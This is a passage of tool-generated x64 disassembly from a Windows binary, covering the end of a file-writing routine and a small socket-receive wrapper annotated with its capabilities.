mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rdi
call qword [rdi + 0x718]
xor edx, edx
mov rcx, rdi
call fcn.140064870
jmp 0x1400740e6
mov r9, qword [rdi + 0x668]
lea rcx, [0x1400b5580]
mov edx, 2
lea r8d, [rdx - 1]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r9, qword [rdi + 0x668]
lea rcx, [rsp + 0x30]
mov r8d, 1
mov rdx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rbx, qword [rsp + 0x858]
mov rcx, qword [rsp + 0x840]
xor rcx, rsp
call fcn.1400ac630
add rsp, 0x860
pop rdi
ret

Function at 0x1400741a0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, r9
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_recv]
movsxd rcx, eax
cmp rcx, 0xffffffffffffffff
jne 0x1400741e2
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, gethostname
mov qword [rbx], 0
cmp eax, 0x2733
mov edx, 0x51
cmove ecx, edx
mov eax, ecx
add rsp, 0x20
pop rbx
ret
mov qword [rbx], rcx
xor eax, eax
add rsp, 0x20
pop rbx
ret